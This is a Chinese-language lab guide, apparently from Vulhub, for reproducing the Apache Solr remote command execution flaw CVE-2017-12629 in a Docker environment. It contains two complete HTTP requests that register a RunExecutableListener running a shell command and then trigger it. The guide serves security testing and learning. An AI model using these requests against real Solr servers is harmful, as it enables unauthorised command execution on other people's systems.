Apache Solr 遠程命令執行漏洞(CVE-2017-12629)
漏洞原理與分析可以參考:
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE),二者可以連接成利用鏈,編號均為CVE-2017-12629。
本環境測試RCE漏洞。
漏洞環境
運行漏洞環境:
docker-compose up -d
命令執行成功后,需要等待一會,之后訪問http://your-ip:8983/即可查看到Apache solr的管理頁面,無需登錄。
漏洞復現
首先創建一個listener,其中設置exe的值為我們想執行的命令,args的值是命令參數:
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后進行update操作,觸發剛才添加的listener:
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]

執行docker-compose exec solr bash進入容器,可見/tmp/success已成功創建:

Vulhub 文檔
推薦文章: